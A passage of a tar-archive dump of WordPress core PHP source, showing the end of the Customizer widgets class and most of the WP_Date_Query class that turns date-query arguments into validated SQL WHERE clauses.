render_widget_partial( $partial, $context ) { $id_data = $partial->id_data(); $widget_id = array_shift( $id_data['keys'] ); if ( ! is_array( $context ) || empty( $context['sidebar_id'] ) || ! is_registered_sidebar( $context['sidebar_id'] ) ) { return false; } $this->rendering_sidebar_id = $context['sidebar_id']; if ( isset( $context['sidebar_instance_number'] ) ) { $this->context_sidebar_instance_number = (int) $context['sidebar_instance_number']; } // Filter sidebars_widgets so that only the queried widget is in the sidebar. $this->rendering_widget_id = $widget_id; $filter_callback = array( $this, 'filter_sidebars_widgets_for_rendering_widget' ); add_filter( 'sidebars_widgets', $filter_callback, 1000 ); // Render the widget. ob_start(); $this->rendering_sidebar_id = $context['sidebar_id']; dynamic_sidebar( $this->rendering_sidebar_id ); $container = ob_get_clean(); // Reset variables for next partial render. remove_filter( 'sidebars_widgets', $filter_callback, 1000 ); $this->context_sidebar_instance_number = null; $this->rendering_sidebar_id = null; $this->rendering_widget_id = null; return $container; } // // Option Update Capturing. // /** * List of captured widget option updates. * * @since 3.9.0 * @var array $_captured_options Values updated while option capture is happening. */ protected $_captured_options = array(); /** * Whether option capture is currently happening. * * @since 3.9.0 * @var bool $_is_current Whether option capture is currently happening or not. */ protected $_is_capturing_option_updates = false; /** * Determines whether the captured option update should be ignored. * * @since 3.9.0 * * @param string $option_name Option name. * @return bool Whether the option capture is ignored. */ protected function is_option_capture_ignored( $option_name ) { return ( 0 === strpos( $option_name, '_transient_' ) ); } /** * Retrieves captured widget option updates. * * @since 3.9.0 * * @return array Array of captured options. */ protected function get_captured_options() { return $this->_captured_options; } /** * Retrieves the option that was captured from being saved. * * @since 4.2.0 * * @param string $option_name Option name. * @param mixed $default Optional. Default value to return if the option does not exist. Default false. * @return mixed Value set for the option. */ protected function get_captured_option( $option_name, $default = false ) { if ( array_key_exists( $option_name, $this->_captured_options ) ) { $value = $this->_captured_options[ $option_name ]; } else { $value = $default; } return $value; } /** * Retrieves the number of captured widget option updates. * * @since 3.9.0 * * @return int Number of updated options. */ protected function count_captured_options() { return count( $this->_captured_options ); } /** * Begins keeping track of changes to widget options, caching new values. * * @since 3.9.0 */ protected function start_capturing_option_updates() { if ( $this->_is_capturing_option_updates ) { return; } $this->_is_capturing_option_updates = true; add_filter( 'pre_update_option', array( $this, 'capture_filter_pre_update_option' ), 10, 3 ); } /** * Pre-filters captured option values before updating. * * @since 3.9.0 * * @param mixed $new_value The new option value. * @param string $option_name Name of the option. * @param mixed $old_value The old option value. * @return mixed Filtered option value. */ public function capture_filter_pre_update_option( $new_value, $option_name, $old_value ) { if ( $this->is_option_capture_ignored( $option_name ) ) { return $new_value; } if ( ! isset( $this->_captured_options[ $option_name ] ) ) { add_filter( "pre_option_{$option_name}", array( $this, 'capture_filter_pre_get_option' ) ); } $this->_captured_options[ $option_name ] = $new_value; return $old_value; } /** * Pre-filters captured option values before retrieving. * * @since 3.9.0 * * @param mixed $value Value to return instead of the option value. * @return mixed Filtered option value. */ public function capture_filter_pre_get_option( $value ) { $option_name = preg_replace( '/^pre_option_/', '', current_filter() ); if ( isset( $this->_captured_options[ $option_name ] ) ) { $value = $this->_captured_options[ $option_name ]; /** This filter is documented in wp-includes/option.php */ $value = apply_filters( 'option_' . $option_name, $value, $option_name ); } return $value; } /** * Undoes any changes to the options since options capture began. * * @since 3.9.0 */ protected function stop_capturing_option_updates() { if ( ! $this->_is_capturing_option_updates ) { return; } remove_filter( 'pre_update_option', array( $this, 'capture_filter_pre_update_option' ), 10 ); foreach ( array_keys( $this->_captured_options ) as $option_name ) { remove_filter( "pre_option_{$option_name}", array( $this, 'capture_filter_pre_get_option' ) ); } $this->_captured_options = array(); $this->_is_capturing_option_updates = false; } /** * {@internal Missing Summary} * * See the {@see 'customize_dynamic_setting_args'} filter. * * @since 3.9.0 * @deprecated 4.2.0 Deprecated in favor of the {@see 'customize_dynamic_setting_args'} filter. */ public function setup_widget_addition_previews() { _deprecated_function( __METHOD__, '4.2.0', 'customize_dynamic_setting_args' ); } /** * {@internal Missing Summary} * * See the {@see 'customize_dynamic_setting_args'} filter. * * @since 3.9.0 * @deprecated 4.2.0 Deprecated in favor of the {@see 'customize_dynamic_setting_args'} filter. */ public function prepreview_added_sidebars_widgets() { _deprecated_function( __METHOD__, '4.2.0', 'customize_dynamic_setting_args' ); } /** * {@internal Missing Summary} * * See the {@see 'customize_dynamic_setting_args'} filter. * * @since 3.9.0 * @deprecated 4.2.0 Deprecated in favor of the {@see 'customize_dynamic_setting_args'} filter. */ public function prepreview_added_widget_instance() { _deprecated_function( __METHOD__, '4.2.0', 'customize_dynamic_setting_args' ); } /** * {@internal Missing Summary} * * See the {@see 'customize_dynamic_setting_args'} filter. * * @since 3.9.0 * @deprecated 4.2.0 Deprecated in favor of the {@see 'customize_dynamic_setting_args'} filter. */ public function remove_prepreview_filters() { _deprecated_function( __METHOD__, '4.2.0', 'customize_dynamic_setting_args' ); } } �������������������������������������������������������������class-wp-date-query.php�����������������������������������������������������������������������������0000644�����������������00000104027�15120262030�0011057 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Class for generating SQL clauses that filter a primary query according to date. * * WP_Date_Query is a helper that allows primary query classes, such as WP_Query, to filter * their results by date columns, by generating `WHERE` subclauses to be attached to the * primary SQL query string. * * Attempting to filter by an invalid date value (eg month=13) will generate SQL that will * return no results. In these cases, a _doing_it_wrong() error notice is also thrown. * See WP_Date_Query::validate_date_values(). * * @link https://developer.wordpress.org/reference/classes/wp_query/ * * @since 3.7.0 */ class WP_Date_Query { /** * Array of date queries. * * See WP_Date_Query::__construct() for information on date query arguments. * * @since 3.7.0 * @var array */ public $queries = array(); /** * The default relation between top-level queries. Can be either 'AND' or 'OR'. * * @since 3.7.0 * @var string */ public $relation = 'AND'; /** * The column to query against. Can be changed via the query arguments. * * @since 3.7.0 * @var string */ public $column = 'post_date'; /** * The value comparison operator. Can be changed via the query arguments. * * @since 3.7.0 * @var string */ public $compare = '='; /** * Supported time-related parameter keys. * * @since 4.1.0 * @var array */ public $time_keys = array( 'after', 'before', 'year', 'month', 'monthnum', 'week', 'w', 'dayofyear', 'day', 'dayofweek', 'dayofweek_iso', 'hour', 'minute', 'second' ); /** * Constructor. * * Time-related parameters that normally require integer values ('year', 'month', 'week', 'dayofyear', 'day', * 'dayofweek', 'dayofweek_iso', 'hour', 'minute', 'second') accept arrays of integers for some values of * 'compare'. When 'compare' is 'IN' or 'NOT IN', arrays are accepted; when 'compare' is 'BETWEEN' or 'NOT * BETWEEN', arrays of two valid values are required. See individual argument descriptions for accepted values. * * @since 3.7.0 * @since 4.0.0 The $inclusive logic was updated to include all times within the date range. * @since 4.1.0 Introduced 'dayofweek_iso' time type parameter. * * @param array $date_query { * Array of date query clauses. * * @type array ...$0 { * @type string $column Optional. The column to query against. If undefined, inherits the value of * the `$default_column` parameter. Accepts 'post_date', 'post_date_gmt', * 'post_modified','post_modified_gmt', 'comment_date', 'comment_date_gmt'. * Default 'post_date'. * @type string $compare Optional. The comparison operator. Accepts '=', '!=', '>', '>=', '<', '<=', * 'IN', 'NOT IN', 'BETWEEN', 'NOT BETWEEN'. Default '='. * @type string $relation Optional. The boolean relationship between the date queries. Accepts 'OR' or 'AND'. * Default 'OR'. * @type array ...$0 { * Optional. An array of first-order clause parameters, or another fully-formed date query. * * @type string|array $before { * Optional. Date to retrieve posts before. Accepts `strtotime()`-compatible string, * or array of 'year', 'month', 'day' values. * * @type string $year The four-digit year. Default empty. Accepts any four-digit year. * @type string $month Optional when passing array.The month of the year. * Default (string:empty)|(array:1). Accepts numbers 1-12. * @type string $day Optional when passing array.The day of the month. * Default (string:empty)|(array:1). Accepts numbers 1-31. * } * @type string|array $after { * Optional. Date to retrieve posts after. Accepts `strtotime()`-compatible string, * or array of 'year', 'month', 'day' values. * * @type string $year The four-digit year. Accepts any four-digit year. Default empty. * @type string $month Optional when passing array. The month of the year. Accepts numbers 1-12. * Default (string:empty)|(array:12). * @type string $day Optional when passing array.The day of the month. Accepts numbers 1-31. * Default (string:empty)|(array:last day of month). * } * @type string $column Optional. Used to add a clause comparing a column other than the * column specified in the top-level `$column` parameter. Accepts * 'post_date', 'post_date_gmt', 'post_modified', 'post_modified_gmt', * 'comment_date', 'comment_date_gmt'. Default is the value of * top-level `$column`. * @type string $compare Optional. The comparison operator. Accepts '=', '!=', '>', '>=', * '<', '<=', 'IN', 'NOT IN', 'BETWEEN', 'NOT BETWEEN'. 'IN', * 'NOT IN', 'BETWEEN', and 'NOT BETWEEN'. Comparisons support * arrays in some time-related parameters. Default '='. * @type bool $inclusive Optional. Include results from dates specified in 'before' or * 'after'. Default false. * @type int|int[] $year Optional. The four-digit year number. Accepts any four-digit year * or an array of years if `$compare` supports it. Default empty. * @type int|int[] $month Optional. The two-digit month number. Accepts numbers 1-12 or an * array of valid numbers if `$compare` supports it. Default empty. * @type int|int[] $week Optional. The week number of the year. Accepts numbers 0-53 or an * array of valid numbers if `$compare` supports it. Default empty. * @type int|int[] $dayofyear Optional. The day number of the year. Accepts numbers 1-366 or an * array of valid numbers if `$compare` supports it. * @type int|int[] $day Optional. The day of the month. Accepts numbers 1-31 or an array * of valid numbers if `$compare` supports it. Default empty. * @type int|int[] $dayofweek Optional. The day number of the week. Accepts numbers 1-7 (1 is * Sunday) or an array of valid numbers if `$compare` supports it. * Default empty. * @type int|int[] $dayofweek_iso Optional. The day number of the week (ISO). Accepts numbers 1-7 * (1 is Monday) or an array of valid numbers if `$compare` supports it. * Default empty. * @type int|int[] $hour Optional. The hour of the day. Accepts numbers 0-23 or an array * of valid numbers if `$compare` supports it. Default empty. * @type int|int[] $minute Optional. The minute of the hour. Accepts numbers 0-60 or an array * of valid numbers if `$compare` supports it. Default empty. * @type int|int[] $second Optional. The second of the minute. Accepts numbers 0-60 or an * array of valid numbers if `$compare` supports it. Default empty. * } * } * } * @param string $default_column Optional. Default column to query against. Default 'post_date'. * Accepts 'post_date', 'post_date_gmt', 'post_modified', 'post_modified_gmt', * 'comment_date', 'comment_date_gmt'. */ public function __construct( $date_query, $default_column = 'post_date' ) { if ( empty( $date_query ) || ! is_array( $date_query ) ) { return; } if ( isset( $date_query['relation'] ) && 'OR' === strtoupper( $date_query['relation'] ) ) { $this->relation = 'OR'; } else { $this->relation = 'AND'; } // Support for passing time-based keys in the top level of the $date_query array. if ( ! isset( $date_query[0] ) ) { $date_query = array( $date_query ); } if ( ! empty( $date_query['column'] ) ) { $date_query['column'] = esc_sql( $date_query['column'] ); } else { $date_query['column'] = esc_sql( $default_column ); } $this->column = $this->validate_column( $this->column ); $this->compare = $this->get_compare( $date_query ); $this->queries = $this->sanitize_query( $date_query ); } /** * Recursive-friendly query sanitizer. * * Ensures that each query-level clause has a 'relation' key, and that * each first-order clause contains all the necessary keys from `$defaults`. * * @since 4.1.0 * * @param array $queries * @param array $parent_query * @return array Sanitized queries. */ public function sanitize_query( $queries, $parent_query = null ) { $cleaned_query = array(); $defaults = array( 'column' => 'post_date', 'compare' => '=', 'relation' => 'AND', ); // Numeric keys should always have array values. foreach ( $queries as $qkey => $qvalue ) { if ( is_numeric( $qkey ) && ! is_array( $qvalue ) ) { unset( $queries[ $qkey ] ); } } // Each query should have a value for each default key. Inherit from the parent when possible. foreach ( $defaults as $dkey => $dvalue ) { if ( isset( $queries[ $dkey ] ) ) { continue; } if ( isset( $parent_query[ $dkey ] ) ) { $queries[ $dkey ] = $parent_query[ $dkey ]; } else { $queries[ $dkey ] = $dvalue; } } // Validate the dates passed in the query. if ( $this->is_first_order_clause( $queries ) ) { $this->validate_date_values( $queries ); } foreach ( $queries as $key => $q ) { if ( ! is_array( $q ) || in_array( $key, $this->time_keys, true ) ) { // This is a first-order query. Trust the values and sanitize when building SQL. $cleaned_query[ $key ] = $q; } else { // Any array without a time key is another query, so we recurse. $cleaned_query[] = $this->sanitize_query( $q, $queries ); } } return $cleaned_query; } /** * Determine whether this is a first-order clause. * * Checks to see if the current clause has any time-related keys. * If so, it's first-order. * * @since 4.1.0 * * @param array $query Query clause. * @return bool True if this is a first-order clause. */ protected function is_first_order_clause( $query ) { $time_keys = array_intersect( $this->time_keys, array_keys( $query ) ); return ! empty( $time_keys ); } /** * Determines and validates what comparison operator to use. * * @since 3.7.0 * * @param array $query A date query or a date subquery. * @return string The comparison operator. */ public function get_compare( $query ) { if ( ! empty( $query['compare'] ) && in_array( $query['compare'], array( '=', '!=', '>', '>=', '<', '<=', 'IN', 'NOT IN', 'BETWEEN', 'NOT BETWEEN' ), true ) ) { return strtoupper( $query['compare'] ); } return $this->compare; } /** * Validates the given date_query values and triggers errors if something is not valid. * * Note that date queries with invalid date ranges are allowed to * continue (though of course no items will be found for impossible dates). * This method only generates debug notices for these cases. * * @since 4.1.0 * * @param array $date_query The date_query array. * @return bool True if all values in the query are valid, false if one or more fail. */ public function validate_date_values( $date_query = array() ) { if ( empty( $date_query ) ) { return false; } $valid = true; /* * Validate 'before' and 'after' up front, then let the * validation routine continue to be sure that all invalid * values generate errors too. */ if ( array_key_exists( 'before', $date_query ) && is_array( $date_query['before'] ) ) { $valid = $this->validate_date_values( $date_query['before'] ); } if ( array_key_exists( 'after', $date_query ) && is_array( $date_query['after'] ) ) { $valid = $this->validate_date_values( $date_query['after'] ); } // Array containing all min-max checks. $min_max_checks = array(); // Days per year. if ( array_key_exists( 'year', $date_query ) ) { /* * If a year exists in the date query, we can use it to get the days. * If multiple years are provided (as in a BETWEEN), use the first one. */ if ( is_array( $date_query['year'] ) ) { $_year = reset( $date_query['year'] ); } else { $_year = $date_query['year']; } $max_days_of_year = gmdate( 'z', mktime( 0, 0, 0, 12, 31, $_year ) ) + 1; } else { // Otherwise we use the max of 366 (leap-year). $max_days_of_year = 366; } $min_max_checks['dayofyear'] = array( 'min' => 1, 'max' => $max_days_of_year, ); // Days per week. $min_max_checks['dayofweek'] = array( 'min' => 1, 'max' => 7, ); // Days per week. $min_max_checks['dayofweek_iso'] = array( 'min' => 1, 'max' => 7, ); // Months per year. $min_max_checks['month'] = array( 'min' => 1, 'max' => 12, ); // Weeks per year. if ( isset( $_year ) ) { /* * If we have a specific year, use it to calculate number of weeks. * Note: the number of weeks in a year is the date in which Dec 28 appears. */ $week_count = gmdate( 'W', mktime( 0, 0, 0, 12, 28, $_year ) ); } else { // Otherwise set the week-count to a maximum of 53. $week_count = 53; } $min_max_checks['week'] = array( 'min' => 1, 'max' => $week_count, ); // Days per month. $min_max_checks['day'] = array( 'min' => 1, 'max' => 31, ); // Hours per day. $min_max_checks['hour'] = array( 'min' => 0, 'max' => 23, ); // Minutes per hour. $min_max_checks['minute'] = array( 'min' => 0, 'max' => 59, ); // Seconds per minute. $min_max_checks['second'] = array( 'min' => 0, 'max' => 59, ); // Concatenate and throw a notice for each invalid value. foreach ( $min_max_checks as $key => $check ) { if ( ! array_key_exists( $key, $date_query ) ) { continue; } // Throw a notice for each failing value. foreach ( (array) $date_query[ $key ] as $_value ) { $is_between = $_value >= $check['min'] && $_value <= $check['max']; if ( ! is_numeric( $_value ) || ! $is_between ) { $error = sprintf( /* translators: Date query invalid date message. 1: Invalid value, 2: Type of value, 3: Minimum valid value, 4: Maximum valid value. */ __( 'Invalid value %1$s for %2$s. Expected value should be between %3$s and %4$s.' ), '<code>' . esc_html( $_value ) . '</code>', '<code>' . esc_html( $key ) . '</code>', '<code>' . esc_html( $check['min'] ) . '</code>', '<code>' . esc_html( $check['max'] ) . '</code>' ); _doing_it_wrong( __CLASS__, $error, '4.1.0' ); $valid = false; } } } // If we already have invalid date messages, don't bother running through checkdate(). if ( ! $valid ) { return $valid; } $day_month_year_error_msg = ''; $day_exists = array_key_exists( 'day', $date_query ) && is_numeric( $date_query['day'] ); $month_exists = array_key_exists( 'month', $date_query ) && is_numeric( $date_query['month'] ); $year_exists = array_key_exists( 'year', $date_query ) && is_numeric( $date_query['year'] ); if ( $day_exists && $month_exists && $year_exists ) { // 1. Checking day, month, year combination. if ( ! wp_checkdate( $date_query['month'], $date_query['day'], $date_query['year'], sprintf( '%s-%s-%s', $date_query['year'], $date_query['month'], $date_query['day'] ) ) ) { $day_month_year_error_msg = sprintf( /* translators: 1: Year, 2: Month, 3: Day of month. */ __( 'The following values do not describe a valid date: year %1$s, month %2$s, day %3$s.' ), '<code>' . esc_html( $date_query['year'] ) . '</code>', '<code>' . esc_html( $date_query['month'] ) . '</code>', '<code>' . esc_html( $date_query['day'] ) . '</code>' ); $valid = false; } } elseif ( $day_exists && $month_exists ) { /* * 2. checking day, month combination * We use 2012 because, as a leap year, it's the most permissive. */ if ( ! wp_checkdate( $date_query['month'], $date_query['day'], 2012, sprintf( '2012-%s-%s', $date_query['month'], $date_query['day'] ) ) ) { $day_month_year_error_msg = sprintf( /* translators: 1: Month, 2: Day of month. */ __( 'The following values do not describe a valid date: month %1$s, day %2$s.' ), '<code>' . esc_html( $date_query['month'] ) . '</code>', '<code>' . esc_html( $date_query['day'] ) . '</code>' ); $valid = false; } } if ( ! empty( $day_month_year_error_msg ) ) { _doing_it_wrong( __CLASS__, $day_month_year_error_msg, '4.1.0' ); } return $valid; } /** * Validates a column name parameter. * * Column names without a table prefix (like 'post_date') are checked against a list of * allowed and known tables, and then, if found, have a table prefix (such as 'wp_posts.') * prepended. Prefixed column names (such as 'wp_posts.post_date') bypass this allowed * check, and are only sanitized to remove illegal characters. * * @since 3.7.0 * * @param string $column The user-supplied column name. * @return string A validated column name value. */ public function validate_column( $column ) { global $wpdb; $valid_columns = array( 'post_date', 'post_date_gmt', 'post_modified', 'post_modified_gmt', 'comment_date', 'comment_date_gmt', 'user_registered', 'registered', 'last_updated', ); // Attempt to detect a table prefix. if ( false === strpos( $column, '.' ) ) { /** * Filters the list of valid date query columns. * * @since 3.7.0 * @since 4.1.0 Added 'user_registered' to the default recognized columns. * * @param string[] $valid_columns An array of valid date query columns. Defaults * are 'post_date', 'post_date_gmt', 'post_modified', * 'post_modified_gmt', 'comment_date', 'comment_date_gmt', * 'user_registered' */ if ( ! in_array( $column, apply_filters( 'date_query_valid_columns', $valid_columns ), true ) ) { $column = 'post_date'; } $known_columns = array( $wpdb->posts => array( 'post_date', 'post_date_gmt', 'post_modified', 'post_modified_gmt', ), $wpdb->comments => array( 'comment_date', 'comment_date_gmt', ), $wpdb->users => array( 'user_registered', ), $wpdb->blogs => array( 'registered', 'last_updated', ), ); // If it's a known column name, add the appropriate table prefix. foreach ( $known_columns as $table_name => $table_columns ) { if ( in_array( $column, $table_columns, true ) ) { $column = $table_name . '.' . $column; break; } } } // Remove unsafe characters. return preg_replace( '/[^a-zA-Z0-9_$\.]/', '', $column ); } /** * Generate WHERE clause to be appended to a main query. * * @since 3.7.0 * * @return string MySQL WHERE clause. */ public function get_sql() { $sql = $this->get_sql_clauses(); $where = $sql['where']; /** * Filters the date query WHERE clause. * * @since 3.7.0 * * @param string $where WHERE clause of the date query. * @param WP_Date_Query $this The WP_Date_Query instance. */ return apply_filters( 'get_date_sql', $where, $this ); } /** * Generate SQL clauses to be appended to a main query. * * Called by the public WP_Date_Query::get_sql(), this method is abstracted * out to maintain parity with the other Query classes. * * @since 4.1.0 * * @return array { * Array containing JOIN and WHERE SQL clauses to append to the main query. * * @type string $join SQL fragment to append to the main JOIN clause. * @type string $where SQL fragment to append to the main WHERE clause. * } */ protected function get_sql_clauses() { $sql = $this->get_sql_for_query( $this->queries ); if ( ! empty( $sql['where'] ) ) { $sql['where'] = ' AND ' . $sql['where']; } return $sql; } /** * Generate SQL clauses for a single query array. * * If nested subqueries are found, this method recurses the tree to * produce the properly nested SQL. * * @since 4.1.0 * * @param array $query Query to parse. * @param int $depth Optional. Number of tree levels deep we currently are. * Used to calculate indentation. Default 0. * @return array { * Array containing JOIN and WHERE SQL clauses to append to a single query array. * * @type string $join SQL fragment to append to the main JOIN clause. * @type string $where SQL fragment to append to the main WHERE clause. * } */ protected function get_sql_for_query( $query, $depth = 0 ) { $sql_chunks = array( 'join' => array(), 'where' => array(), ); $sql = array( 'join' => '', 'where' => '', ); $indent = ''; for ( $i = 0; $i < $depth; $i++ ) { $indent .= ' '; } foreach ( $query as $key => $clause ) { if ( 'relation' === $key ) { $relation = $query['relation']; } elseif ( is_array( $clause ) ) { // This is a first-order clause. if ( $this->is_first_order_clause( $clause ) ) { $clause_sql = $this->get_sql_for_clause( $clause, $query ); $where_count = count( $clause_sql['where'] ); if ( ! $where_count ) { $sql_chunks['where'][] = ''; } elseif ( 1 === $where_count ) { $sql_chunks['where'][] = $clause_sql['where'][0]; } else { $sql_chunks['where'][] = '( ' . implode( ' AND ', $clause_sql['where'] ) . ' )'; } $sql_chunks['join'] = array_merge( $sql_chunks['join'], $clause_sql['join'] ); // This is a subquery, so we recurse. } else { $clause_sql = $this->get_sql_for_query( $clause, $depth + 1 ); $sql_chunks['where'][] = $clause_sql['where']; $sql_chunks['join'][] = $clause_sql['join']; } } } // Filter to remove empties. $sql_chunks['join'] = array_filter( $sql_chunks['join'] ); $sql_chunks['where'] = array_filter( $sql_chunks['where'] ); if ( empty( $relation ) ) { $relation = 'AND'; } // Filter duplicate JOIN clauses and combine into a single string. if ( ! empty( $sql_chunks['join'] ) ) { $sql['join'] = implode( ' ', array_unique( $sql_chunks['join'] ) ); } // Generate a single WHERE clause with proper brackets and indentation. if ( ! empty( $sql_chunks['where'] ) ) { $sql['where'] = '( ' . "\n " . $indent . implode( ' ' . "\n " . $indent . $relation . ' ' . "\n " . $indent, $sql_chunks['where'] ) . "\n" . $indent . ')'; } return $sql; } /** * Turns a single date clause into pieces for a WHERE clause. * * A wrapper for get_sql_for_clause(), included here for backward * compatibility while retaining the naming convention across Query classes. * * @since 3.7.0 * * @param array $query Date query arguments. * @return array { * Array containing JOIN and WHERE SQL clauses to append to the main query. * * @type string $join SQL fragment to append to the main JOIN clause. * @type string $where SQL fragment to append to the main WHERE clause. * } */ protected function get_sql_for_subquery( $query ) { return $this->get_sql_for_clause( $query, '' ); } /** * Turns a first-order date query into SQL for a WHERE clause. * * @since 4.1.0 * * @param array $query Date query clause. * @param array $parent_query Parent query of the current date query. * @return array { * Array containing JOIN and WHERE SQL clauses to append to the main query. * * @type string $join SQL fragment to append to the main JOIN clause. * @type string $where SQL fragment to append to the main WHERE clause. * } */ protected function get_sql_for_clause( $query, $parent_query ) { global $wpdb; // The sub-parts of a $where part. $where_parts = array(); $column = ( ! empty( $query['column'] ) ) ? esc_sql( $query['column'] ) : $this->column; $column = $this->validate_column( $column ); $compare = $this->get_compare( $query ); $inclusive = ! empty( $query['inclusive'] ); // Assign greater- and less-than values. $lt = '<'; $gt = '>'; if ( $inclusive ) { $lt .= '='; $gt .= '='; } // Range queries. if ( ! empty( $query['after'] ) ) { $where_parts[] = $wpdb->prepare( "$column $gt %s", $this->build_mysql_datetime( $query['after'], ! $inclusive ) ); } if ( ! empty( $query['before'] ) ) { $where_parts[] = $wpdb->prepare( "$column $lt %s", $this->build_mysql_datetime( $query['before'], $inclusive ) ); } // Specific value queries. $date_units = array( 'YEAR' => array( 'year' ), 'MONTH' => array( 'month', 'monthnum' ), '_wp_mysql_week' => array( 'week', 'w' ), 'DAYOFYEAR' => array( 'dayofyear' ), 'DAYOFMONTH' => array( 'day' ), 'DAYOFWEEK' => array( 'dayofweek' ), 'WEEKDAY' => array( 'dayofweek_iso' ), ); // Check of the possible date units and add them to the query. foreach ( $date_units as $sql_part => $query_parts ) { foreach ( $query_parts as $query_part ) { if ( isset( $query[ $query_part ] ) ) { $value = $this->build_value( $compare, $query[ $query_part ] ); if ( $value ) { switch ( $sql_part ) { case '_wp_mysql_week': $where_parts[] = _wp_mysql_week( $column ) . " $compare $value"; break; case 'WEEKDAY': $where_parts[] = "$sql_part( $column ) + 1 $compare $value"; break; default: $where_parts[] = "$sql_part( $column ) $compare $value"; } break; } } } } if ( isset( $query['hour'] ) || isset( $query['minute'] ) || isset( $query['second'] ) ) { // Avoid notices. foreach ( array( 'hour', 'minute', 'second' ) as $unit ) { if ( ! isset( $query[ $unit ] ) ) { $query[ $unit ] = null; } } $time_query = $this->build_time_query( $column, $compare, $query['hour'], $query['minute'], $query['second'] ); if ( $time_query ) { $where_parts[] = $time_query; } } /* * Return an array of 'join' and 'where' for compatibility * with other query classes. */ return array( 'where' => $where_parts, 'join' => array(), ); } /** * Builds and validates a value string based on the comparison operator. * * @since 3.7.0 * * @param string $compare The compare operator to use. * @param string|array $value The value. * @return string|false|int The value to be used in SQL or false on error. */ public function build_value( $compare, $value ) { if ( ! isset( $value ) ) { return false; } switch ( $compare ) { case 'IN': case 'NOT IN': $value = (array) $value; // Remove non-numeric values. $value = array_filter( $value, 'is_numeric' ); if ( empty( $value ) ) { return false; } return '(' . implode( ',', array_map( 'intval', $value ) ) . ')'; case 'BETWEEN': case 'NOT BETWEEN': if ( ! is_array( $value ) || 2 !== count( $value ) ) { $value = array( $value, $value ); } else { $value = array_values( $value ); } // If either value is non-numeric, bail. foreach ( $value as $v ) { if ( ! is_numeric( $v ) ) { return false; } } $value = array_map( 'intval', $value ); return $value[0] . ' AND ' . $value[1]; default: if ( ! is_numeric( $value ) ) { return false; } return (int) $value; } } /** * Builds a MySQL format date/time based on some query parameters. * * You can pass an array of values (year, month, etc.) with missing parameter values being defaulted to * either the maximum or minimum values (controlled by the $default_to parameter). Alternatively you can * pass a string that will be passed to date_create(). * * @since 3.7.0 * * @param string|array $datetime An array of parameters or a strotime() string * @param bool $default_to_max Whether to round up incomplete dates. Supported by values * of $datetime that are arrays, or string values that are a * subset of MySQL date format ('Y', 'Y-m', 'Y-m-d', 'Y-m-d H:i'). * Default: false. * @return string|false A MySQL format date/time or false on failure */ public function build_mysql_datetime( $datetime, $default_to_max = false ) { if ( ! is_array( $datetime ) ) { /* * Try to parse some common date formats, so we can detect * the level of precision and support the 'inclusive' parameter. */ if ( preg_match( '/^(\d{4})$/', $datetime, $matches ) ) { // Y $datetime = array( 'year' => (int) $matches[1], ); } elseif ( preg_match( '/^(\d{4})\-(\d{2})$/', $datetime, $matches ) ) { // Y-m $datetime = array( 'year' => (int) $matches[1], 'month' => (int) $matches[2], ); } elseif ( preg_match( '/^(\d{4})\-(\d{2})\-(\d{2})$/', $datetime, $matches ) ) { // Y-m-d $datetime = array( 'year' => (int) $matches[1], 'month' => (int) $matches[2], 'day' => (int) $matches[3], ); } elseif ( preg_match( '/^(\d{4})\-(\d{2})\-(\d{2}) (\d{2}):(\d{2})$/', $datetime, $matches ) ) { // Y-m-d H:i $datetime = array( 'year' => (int) $matches[1], 'month' => (int) $matches[2], 'day' => (int) $matches[3], 'hour' => (int) $matches[4], 'minute' => (int) $matches[5], ); } // If no match is found, we don't support default_to_max. if ( ! is_array( $datetime ) ) { $wp_timezone = wp_timezone(); // Assume local timezone if not provided. $dt = date_create( $datetime, $wp_timezone ); if ( false === $dt ) { return gmdate( 'Y-m-d H:i:s', false ); } return $dt->setTimezone( $wp_timezone )->format( 'Y-m-d H:i:s' ); } } $datetime = array_map( 'absint', $datetime ); if ( ! isset( $datetime['year'] ) ) { $datetime['year'] = current_time( 'Y' ); } if ( ! isset( $datetime['month'] ) ) { $datetime['month'] = ( $default_to_max ) ? 12 : 1; } if ( ! isset( $datetime['day'] ) ) { $datetime['day'] = ( $default_to_max ) ? (int) gmdate( 't', mktime( 0, 0, 0, $datetime['month'], 1, $datetime['year'] ) ) : 1; } if ( ! isset( $datetime['hour'] ) ) { $datetime['hour'] = ( $default_to_max ) ? 23 : 0; } if ( ! isset( $datetime['minute'] ) ) { $datetime['minute'] = ( $default_to_max ) ? 59 : 0; } if ( ! isset( $datetime['second'] ) ) { $datetime['second'] = ( $default_to_max ) ? 59 : 0; } return sprintf( '%04d-%02d-%02d %02d:%02d:%02d', $datetime['year'], $datetime['month'], $datetime['day'], $datetime['hour'], $datetime['minute'], $datetime['second'] ); } /** * Builds a query string for comparing time values (hour, minute, second). * * If just hour, minute, or second is set than a normal comparison will be done. * However if multiple values are passed, a pseudo-decimal time will be created * in order to be able to accurately compare against. * * @since 3.7.0 * * @param string $column The column to query against. Needs to be pre-validated! * @param string $compare The comparison operator. Needs to be pre-validated! * @param int|null $hour Optional. An hour value (0-23). * @param int|null $minute Optional. A minute value (0-59). * @param int|null $second Optional. A second value (0-59). * @return string|false A query part or false on failure. */ public function build_time_query( $column, $compare, $hour = null, $minute = null, $second = null ) { global $wpdb; // Have to have at least one. if ( ! isset( $hour ) && ! isset( $minute ) && ! isset( $second ) ) { return false; } // Complex combined queries aren't supported for multi-value queries. if ( in_array( $compare, array( 'IN', 'NOT IN', 'BETWEEN', 'NOT BETWEEN' ), true ) ) { $return = array(); $value = $this->build_value( $compare, $hour ); if ( false !== $value ) { $return[] = "HOUR( $column ) $compare $value"; } $value = $this->build_value( $compare, $minute ); if ( false !== $value ) { $return[] = "MINUTE( $column ) $compare $value"; } $value = $this->build_value( $compare, $second ); if ( false !== $value ) { $return[] = "SECOND( $column ) $compare $value"; } return implode( ' AND ', $return ); } // Cases where just one unit is set. if ( isset( $hour ) && ! isset( $minute ) && ! isset( $second ) ) { $value = $this->build_value( $compare, $hour ); if ( false !== $value ) { return "HOUR( $column ) $compare $value"; } } elseif ( ! isset( $hour ) && isset( $minute ) && ! isset( $second ) ) { $value = $this->build_value( $compare, $minute ); if ( false !== $value ) { return "MINUTE( $column ) $compare $value"; } } elseif ( ! isset( $hour ) && ! isset( $minute ) && isset( $second ) ) { $value = $this->build_value( $compare, $second ); if ( false !== $value ) { return "SECOND( $column ) $compare $value"; } } // Single units were already handled. Since hour & second isn't allowed, minute must to be set. if ( ! isset( $minute ) ) { return false; } $format = ''; $time = ''; // Hour. if 